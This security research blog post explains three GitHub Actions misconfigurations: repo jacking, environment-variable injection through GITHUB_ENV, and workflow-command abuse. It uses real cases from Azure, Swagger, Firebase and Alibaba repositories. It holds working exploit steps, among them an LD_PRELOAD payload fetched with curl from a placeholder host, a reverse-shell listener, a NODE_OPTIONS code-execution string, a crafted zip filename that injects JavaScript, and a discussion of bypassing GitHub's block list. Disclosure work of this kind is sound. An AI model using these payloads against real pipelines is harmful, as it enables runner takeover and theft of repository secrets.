GitHub Actions exploitation: repo jacking and environment manipulation
In the previous article, we highlighted three common misconfigurations in GitHub workflows that can be leveraged to obtain write access to the targeted repository or extract sensitive secrets. We illustrated these vulnerabilities using real-world instances from popular open-source projects such as Microsoft, FreeRDP, AutoGPT, Excalidraw, Angular, Apache, Cypress and others. We also present octoscan a static vulnerability scanner for GitHub action workflows.
In this article, we will again outline three common misconfigurations that can be exploited to gain write access to the targeted repository or extract sensitive secrets. For each misconfiguration we will explain it with a real vulnerability that we found on open source projects like Azure, Swagger, Firebase and Alibaba.
Repo Jacking
The repo jacking vulnerability was presented1 at DEFCON 31 by Asi Greenholts. This vulnerability occurs when a GitHub action is referencing an action on a non-existing GitHub organization or user. For example:
name: "Build Images"
on:
push:
jobs:
init:
runs-on: ubuntu-latest
name: "init"
steps:
- uses: non-existing-org/checkout-action
A malicious user could claim the non-existing-org GitHub organization and create the checkout-action in this organization. This would result in arbitrary code execution inside this workflow.
This vulnerability is quite rare and difficult to exploit as GitHub is aware of it. Indeed, from this article2:
To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account.
We found this vulnerability on an Azure repository:
File: fork-on-push-brm-generate.yml
46: - uses: jungwinter/split@master
47: id: branch
48: with:
49: msg: ${{ needs.get-module-to-validate.outputs.module_dir }}
50: separator: "/"
51: maxsplit: -1
The jungwinter
user does not exist anymore, so we registered it and tried to create the split repository, however it failed with the following error message:
It seems that the user has moved this repository to a new account:
$ curl -kIs https://github.com/jungwinter/split
HTTP/1.1 200 Connection established
HTTP/2 301
server: GitHub.com
location: https://github.com/winterjung/split
[...]
Our tool octoscan3 can detect this vulnerability, since we registered jungwinter
, the tool won't detect it, so here is an example on another project:
Dangerous write
GitHub will create default environment variables that can be used inside every step in a workflow. The GITHUB_ENV
and GITHUB_OUTPUT
variables are particularly interesting.
It is possible to define environment variable in a step and use it in another one. This can be done by writing it to the GITHUB_ENV
variable:
echo "{environment_variable_name}={value}" >> "$GITHUB_ENV"
This variable points to a local path on the runner. This file is unique to the current step and changes for each step in a job. For example:
steps:
- name: Set the value
run: |
echo "MYVAR=cicd is cool" >> "$GITHUB_ENV"
- name: Use the value
run: |
echo "$MYVAR"
However, if a user can control the name or the value of the environment variable that is being set it can lead to arbitrary code execution. Multiple examples of this vulnerability have already been found like here4.
We found a similar issue in the swagger-editor repository in the docker-build-push.yml workflow. The latter is configured with a workflow_run
trigger:
4: on:
5: workflow_run:
6: workflows: ["Release SwaggerEditor@next"]
7: types:
8: - completed
9: branches: [next]
Some artifacts are then downloaded from the triggering workflow:
47: - name: Determine released version
48: uses: actions/github-script@v7
49: with:
50: script: |
51: const allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
52: owner: context.repo.owner,
53: repo: context.repo.repo,
54: run_id: context.payload.workflow_run.id,
55: });
56: const matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
57: return artifact.name == "released-version"
58: })[0];
59: const download = await github.rest.actions.downloadArtifact({
60: owner: context.repo.owner,
61: repo: context.repo.repo,
62: artifact_id: matchArtifact.id,
63: archive_format: 'zip',
64: });
65: const fs = require('fs');
66: fs.writeFileSync('${{github.workspace}}/released-version.zip', Buffer.from(download.data));
Finally, the release version is written to the GITHUB_ENV
variable:
67: - run: |
68: unzip released-version.zip
69: RELEASED_VERSION=$(cat released-version.txt)
70: echo "RELEASED_VERSION=$RELEASED_VERSION" >> $GITHUB_ENV
A malicious user could deploy the following workflow to be able to set arbitrary environment variables:
steps:
- name: Set the value
run: |
echo "version" > released-version.txt
echo "INJECT_ENV=injection value" >> released-version.txt
- name: Upload released version
uses: actions/upload-artifact@v4
with:
name: released-version
path: ./released-version.txt
This would result in the INJECT_ENV
variable being set:
As described in the article, Linux has many special environment variables that control how programs behave, which we can abuse to execute arbitrary code. In their example they used the NODE_OPTIONS
environment variable and this technique was already exploited5 in 2020 by a researcher from the Project Zero security team.
The NODE_OPTIONS
environment variable allows to specify a string of command-line arguments that will be applied by default whenever initiating a new Node process. This capability provides a convenient and standardized method for configuring default command-line settings for Node processes across an application. The GitHub runner will then use this variable in all subsequent processes. This variable is well known and can result in arbitrary command execution:
NODE_OPTIONS="--experimental-modules --experimental-loader=data:text/javascript,console.log('injection');"
However, in recent version of the GitHub runner, GitHub explicitly prohibits the usage of this variable when setting environment variables, using a block-list:
File: ActionCommandManager.cs
295: private string[] _setEnvBlockList =
296: {
297: "NODE_OPTIONS"
298: };
This block-list approach can easily be bypassed, For example we can use the LD_PRELOAD
environment variable. Other techniques can be found in this article6.
Here is the modified version of the triggering workflow to get arbitrary code execution:
- name: Set the value
run: |
mkdir released-version
echo -e 'null\nLD_PRELOAD=/home/runner/work/RD_swg/RD_swg/inject.so' > released-version/released-version.txt
curl http://ip.ip.ip.ip/inject.so -o released-version/inject.so
...
- name: Upload released version
uses: actions/upload-artifact@v4
with:
name: released-version
path: released-version/
In this example the malicious inject.so
shared library will be linked via the LD_PRELOAD
environment variable. This way all future processes will load it.
The artifact will contain the 2 malicious files:
$ unzip -l released-version.zip
Archive: released-version.zip
Length Date Time Name
--------- ---------- ----- ----
16512 2024-04-21 20:39 inject.so
58 2024-04-21 20:39 released-version.txt
--------- -------
16570 2 files
When the vulnerable workflow is triggered a reverse shell can be obtained:
$ rlwrap nc -lvp 15967
$ id
uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)
In this example attackers could gain access to the following secrets:
File: docker-build-push.yml
78: - name: Log in to DockerHub
79: uses: docker/login-action@v3
80: with:
81: username: ${{ secrets.DOCKERHUB_SB_USERNAME }}
82: password: ${{ secrets.DOCKERHUB_SB_PASSWORD }}
But they will not be able to push arbitrary code to the repository as the GITHUB_TOKEN
will not have write access since it comes from a workflow_run
triggered by a fork.
Here is the output of octoscan on the vulnerable workflow:
Workflow commands
Actions possess the capability to interact with the runner machine, enabling them to set environment variables, define output values for use by other actions, incorporate debug messages into output logs, and perform various other tasks.
The majority of workflow commands use the echo
command in a specific format like this:
echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
Others are triggered by writing to a file like GITHUB_ENV
and GITHUB_OUTPUT
.
However, before 2020, it was possible to control environment variables with the echo way like this:
run: |
echo "##[set-env name=ENV_NAME;]value"
# or
echo "echo "::set-env name=ENV_NAME::value"
The implemented workflow commands were inherently insecure due to the common practice of logging to STDOUT. This vulnerability opened avenues for potential attacks, allowing malicious payloads to be easily injected and trigger the set-env
command. The ability to modify environment variables introduced multiple paths for remote code execution, with a particularly obvious payload being the one demonstrated earlier. This security concern underlines the importance of adopting robust measures to prevent unauthorized manipulation of environment variables and to mitigate the risk of malicious payloads. This vulnerability was initially reported by a security researcher from Project Zero.
GitHub decided to prohibit the set-env
workflow command in 20207 but the set-output
command is still available while being deprecated.
In 2022 a security researcher found4 a vulnerability in a workflow of the codelab-friendlychat-android
and friendlyeats-web
repositories from the Firebase organization. The preview_deploy.yml
workflow was downloading untrusted artifacts and setting environment variables based on the received data:
- name: 'Download artifact'
uses: actions/github-script@v3.1.0
with:
script: |
var artifacts = await github.actions.listWorkflowRunArtifacts({
[...]
fs.writeFileSync('${{github.workspace}}/pr_number.txt', downloadPrNumber);
fs.writeFileSync('${{github.workspace}}/firebase-android.zip', Buffer.from(downloadPreview.data));
- run: |
unzip pr.zip
echo "pr_number=$(cat NR)" >> $GITHUB_ENV
mkdir firebase-android
unzip firebase-android.zip -d firebase-android
As explained in the previous section, this can be easily exploited. The Firebase team fixed the issue with the following code:
- id: unzip
run: |
set -eou pipefail
pr_number=$(cat -e pr_number.txt)
pr_number=${pr_number%?}
pr_length=${#pr_number}
only_numbers_re="^[0-9]+$"
if ! [[ $pr_length <= 10 && $pr_number =~ $only_numbers_re ]] ; then
echo "invalid PR number"
exit 1
fi
echo "::set-output name=pr_number::$pr_number"
mkdir firebase-android
unzip firebase-android.zip -d firebase-android
Here this script checks that the PR number received in pr_number.txt
only contains numeric characters. The set-output
command is then employed and the output value is finally used in a GitHub script action with the expression ${{ steps.unzip.outputs.pr_number }}
:
- name: Write Comment
uses: actions/github-script@v3
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
await github.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: ${{ steps.unzip.outputs.pr_number }},
body: 'View preview ${{ steps.deploy_preview.outputs.details_url }}'
});
We managed to bypass the fix of the Firebase team by leveraging the set-output
workflow command and the expression injection since the ${{ steps.unzip.outputs.pr_number }}
value is concatenated in the script.
The trick here is to use the fact that the unzip
command will log the name of the files that are decompressed to STDOUT. This means that by controlling STDOUT in the unzip
step one can modify the value of pr_number
. This is possible by crafting a malicious zip file with the following content:
$ unzip -l steps.zip
Archive: steps.zip
Length Date Time Name
--------- ---------- ----- ----
0 2023-12-26 15:46 steps/
8 2023-12-26 15:46 steps/Hello ##[set-output name=pr_number;]'end'}); console.log('pwn') ; console.log({console
--------- -------
8 2 files
The pr_number
variable will be equal to 'end'}); console.log('pwn') ; console.log({console
which will be concatenated in the Write Comment
step, allowing arbitrary JavaScript code execution:
Note that this vulnerability was found with octoscan, here this vulnerability is the result of 2 problems in the vulnerable workflow:
Although the set-env
command is deprecated and unusable by default, if a developer sets the ACTIONS_ALLOW_UNSECURE_COMMANDS
environment variable in a workflow, the set-env
command becomes available and can be used.
We found this vulnerability in the nacos repository of the Alibaba organization. The workflow pr-e2e-test.yml
defines the ACTIONS_ALLOW_UNSECURE_COMMANDS
variable:
env:
DOCKER_REPO: wuyfeedocker/nacos-ci
ACTIONS_ALLOW_UNSECURE_COMMANDS: true
An artifact is then downloaded and unzip:
- run: |
unzip nacos.zip
mkdir nacos
cp -r nacos-* nacos/
The same payload used in the previous example could be employed. Instead of relying on set-output
, the set-env
command can be utilized. By leveraging the exploitation technique outlined in the previous article, it could lead to arbitrary code execution in the runner. Unfortunately for us this was fixed before we could report it to the Alibaba security team.
Conclusion
As the previous article we highlighted three common misconfigurations in GitHub workflows that can be leveraged to attain write access to the targeted repository or extract sensitive secrets. We illustrated these defects using real-world instances from open-source projects belonging to Swagger, Microsoft, Google and Alibaba. In the next blogpost, we will explore one last attack vector leading to similar consequences or worse.
- 1. https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/…
- 2. https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-…
- 3. https://github.com/synacktiv/octoscan
- 4. a. b. https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerab…
- 5. https://bugs.chromium.org/p/project-zero/issues/detail?id=2070&can=2&q=…
- 6. https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injectio…
- 7. https://github.blog/changelog/2020-10-01-github-actions-deprecating-set…